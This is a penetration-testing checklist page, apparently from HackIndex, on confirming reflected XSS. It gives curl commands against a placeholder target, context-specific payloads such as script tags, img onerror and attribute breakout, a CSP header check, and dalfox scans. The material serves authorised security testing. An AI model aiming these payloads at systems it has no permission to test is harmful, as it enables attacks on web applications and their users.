Skip to content
HackIndex logo

HackIndex

Reflected XSS Checks

3 min read Mar 28, 2026

Reflected XSS testing confirms whether user-supplied input is reflected in a response in an executable context. The goal at this stage is to confirm reflection, identify the injection context, and check whether CSP would block execution — not to deliver a full payload. Confirmed reflection moves to reflected XSS exploitation.

Confirm Reflection First

Send a unique marker before testing payloads. Confirm the marker appears verbatim in the response before investing time on payload tuning:

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?q=XSSTEST123" | grep -n 'XSSTEST123'
42:<p>Results for: XSSTEST123</p>

If the marker reflects, check the surrounding context in the response — HTML body, attribute value, JavaScript string, or JSON — because the payload format depends on the context.

Check the Injection Context

Pull the full response and look at where the input lands:

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?q=XSSTEST123" | grep -B3 -A3 'XSSTEST123'
<div class="results">
  <p>Results for: XSSTEST123</p>
</div>

The context determines the payload:

  • HTML body: <script>alert(1)</script> or <img src=x onerror=alert(1)>

  • HTML attribute: close the attribute first — " onfocus=alert(1) autofocus="

  • JavaScript string: break out of the string — '-alert(1)-'

  • JSON response: depends on how the frontend processes it

Test a Basic Payload

Send the URL-encoded payload and check whether the decoded form appears in the response. Execution is browser-side — curl confirms injection, not execution:

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?q=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E" | grep -i 'script'
<p>Results for: <script>alert(document.domain)</script></p>

If the decoded script tag appears in the response without encoding, the injection is confirmed. Open in a browser to verify execution.

Check for CSP

Grab the response headers to see whether a Content-Security-Policy is present. This determines how difficult exploitation will be:

┌──(kali㉿kali)-[~]
└─$ curl -skI "http://$TARGET_IP:$PORT/index.php?q=test" | grep -i 'content-security-policy'
content-security-policy: default-src 'self'; script-src 'self' https://cdn.example.com

No CSP header means inline scripts execute freely — the simplest payloads work. A CSP with unsafe-inline also means inline scripts execute. A strict CSP without unsafe-inline requires a CSP bypass, usually through a trusted domain with a JSONP endpoint or an open redirect.

Automated Scanning with dalfox

dalfox finds reflected XSS across parameters quickly and handles encoding automatically. Use it after manual confirmation to catch additional injection points:

┌──(kali㉿kali)-[~]
└─$ dalfox url "http://$TARGET_IP:$PORT/index.php?q=test"
┌──(kali㉿kali)-[~]
└─$ dalfox url "http://$TARGET_IP:$PORT/index.php?q=test" --cookie "session=REPLACE_ME"

POST Parameter Testing

POST parameters reflect just as often as GET. Test form fields and JSON bodies with the same marker approach:

┌──(kali㉿kali)-[~]
└─$ curl -sk -X POST http://$TARGET_IP:$PORT/search -d 'query=XSSTEST123' | grep 'XSSTEST123'
┌──(kali㉿kali)-[~]
└─$ curl -sk -X POST http://$TARGET_IP:$PORT/api/search -H 'Content-Type: application/json' -d '{"query":"XSSTEST123"}' | grep 'XSSTEST123'

References